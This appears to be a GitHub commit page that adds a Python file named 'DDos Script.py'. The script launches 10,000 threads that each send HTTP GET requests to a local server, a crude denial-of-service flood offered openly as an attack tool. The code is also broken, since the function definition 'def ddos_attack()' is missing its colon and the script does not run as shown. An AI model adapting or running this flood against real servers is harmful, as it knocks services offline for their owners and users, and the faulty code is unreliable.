Skip to content

Commit e5773f6

Browse files
authored
Add files via upload
1 parent eaadb77 commit e5773f6

File tree

1 file changed

+21
-0
lines changed

1 file changed

+21
-0
lines changed

linux/DDos/DDos Script.py

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
import requests
2+
import threading
3+
4+
def ddos_attack()
5+
url = 'http://localhost:5000'
6+
response = requests.get(url)
7+
print(f'Response status code: {response.status_code}')
8+
9+
def main():
10+
num_threads = 10000
11+
threads = []
12+
for i in range(num_threads):
13+
thread = threading.Thread(target=ddos_attack)
14+
thread.start()
15+
threads.append(thread)
16+
17+
for thread in threads:
18+
thread.join()
19+
20+
if __name__ == '__main__':
21+
main()

0 commit comments

Comments
 (0)